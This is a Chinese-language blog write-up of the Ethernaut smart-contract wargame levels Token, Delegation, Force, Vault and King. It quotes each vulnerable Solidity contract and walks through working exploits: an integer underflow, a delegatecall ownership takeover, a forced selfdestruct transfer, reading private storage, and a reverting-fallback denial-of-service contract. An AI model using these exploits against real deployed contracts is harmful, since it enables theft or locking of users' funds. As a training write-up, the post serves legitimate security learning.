首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >智能合约:Ethernaut题解(三)

智能合约:Ethernaut题解(三)

作者头像
yichen
发布2020-05-25 11:32:06
1K0
发布2020-05-25 11:32:06
举报

Token

目标:获取更多的 token

pragma solidity ^0.4.18;
contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;
  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }//构造函数,在一开始给合约一些钱
  
  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);//先检查调用者的余额是不是大于转账金额
    balances[msg.sender] -= _value;//调用的人减金额_value
    balances[_to] += _value;//给目标增加金额_value
    return true;
  }//转账
  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }//查询余额
}

一开始是这样的,初始合约是 20,当我们转一个比 20 大的数的时候 20-_value 就会下溢

uint256 的取值范围是 [0-2^256-1],所以如果我们转 21 的话 20-21 = -1,也就是过了 0 到了 2^256-1

await contract.transfer('0x3C7f1E9B49B2f7c92e25224199d05D5Cb6923820',30)

随便找个地址转账(我把我地址最后一位改成了0)完了之后是这样的,提交就可以啦

Delegation

目标:拥有所有权

pragma solidity ^0.4.18;
contract Delegate {
  address public owner;
  function Delegate(address _owner) public {
    owner = _owner;
  }//构造函数
  function pwn() public {
    owner = msg.sender;
  }//如果能调用这个pwn函数就可以了
}
contract Delegation {
  address public owner;
  Delegate delegate;
  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);//把合约给实例化了
    owner = msg.sender;
  }
  function() public {
    if(delegate.delegatecall(msg.data)) {
      this;
    }//fallback函数,其中的delegatecall跟call的区别在于
    //前者所调用的函数在本合约中执行的,其他的信息都是自己合约的,相当于把函数拷贝到当前合约来执行
  }
}

我们要做的就是通过 delegatecall 来调用 pwn 函数,正如注释中说的那样,delegatecall 函数需要所用到的信息比如代码中的 msg.sender 就是这个合约的,所以只要我们构造一下 msg.data 就能够去调用 pwn 函数

当给 call 传入的第一个参数是 4 字节的时候,call 就会把这个参数作为要调用的函数,这个参数在以太坊的函数选择器的生成规则里是函数签名的 sha3 的前 4 个字节,接下来我们要做的就是触发回退函数,来执行 pwn 函数

可以使用 sendTransaction:

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});

slice 为提取字符串的前10个字符,四个字节,就是 10 个字符(例:0x34567890)

Force

目标:让合约中有钱

pragma solidity ^0.4.18;
contract Force {/*
                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)
*/}

什么代码都没有,但是有一种自毁合约的方法 selfdestruct,这种方法会把合约中剩余的钱强制转到某一个地址

在 remix 里面部署一个合约

pragma solidity ^0.4.20;
contract exp {
 function exp() public payable {}
 function exploit(address _target) public {
    selfdestruct(_target);
 }
}

调用 exploit 函数,自毁合约,同时把地址填成题目的合约地址

余额已经不是 0 了

这时候提交就可以啦

Vault

目标:解锁 vault

pragma solidity ^0.4.18;
contract Vault {
  bool public locked;
  bytes32 private password;//定义了一个密码
  function Vault(bytes32 _password) public {
    locked = true;//构造函数,locked为true
    password = _password;//定义了一个password
  }
  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;//如果输入的密码正确就可以解锁
    }
  }
}

只要密码对了就行,我们不知道它定义的密码是什么,而且 password 变量是 private 的,但是在区块里面数据是透明的,私有变量标记只能阻止其他合约访问它。标记为私有变量或局部变量的状态变量,仍然可被公开访问到

getStorageAt 第一个参数是合约地址,后面是参数的位置,参数的位置是按照声明的顺序来排的,这里的 locked 是第一个所以是 0,password 是第二个,位置就是 1

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))})
//可以 alert 的方式将该地址的第 2 个值转化 ascii 显示
web3.eth.getStorageAt(contract.address, 1, function(x, y){console.info(web3.toAscii(y))})
//也可以在控制台直接输出

提交

await contract.unlock("A very strong secret password :)")

查看一下,已经解锁了,提交就可以了

King

目标:成为 king 并且一直保持 king 的身份

pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
  address public king;
  uint public prize;
  function King() public payable {
    king = msg.sender;//构造函数,king是创建者
    prize = msg.value;//prize是创建者发送的金额
  }
  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    //要求发送的金额大于等于king的金额或发送者是合约拥有着
    king.transfer(msg.value);//把的转账给目前的king
    king = msg.sender;//king变成msg.sender
    prize = msg.value;//prize是现在这个king发送的金额数
  }
}

谁发送大于 king 的金额就能成为新的 king,但是要先把之前的国王的钱退回去才能更改 king。只要我们一直不接受退回的奖金,那我们就能够一直保持 king 的身份

pragma solidity ^0.4.18;
contract attack{
    function attack(address _addr) public payable{
        _addr.call.gas(10000000).value(msg.value)();
      //先给合约一些钱,使得我们成为king
    }
    function () public {
        revert();
    }
}

用 remix 部署合约,只需要构造一个没有 payable 的回退函数,就接收不到金额了

king 变成了攻击合约的地址

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Token
  • Delegation
  • Force
  • Vault
  • King
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档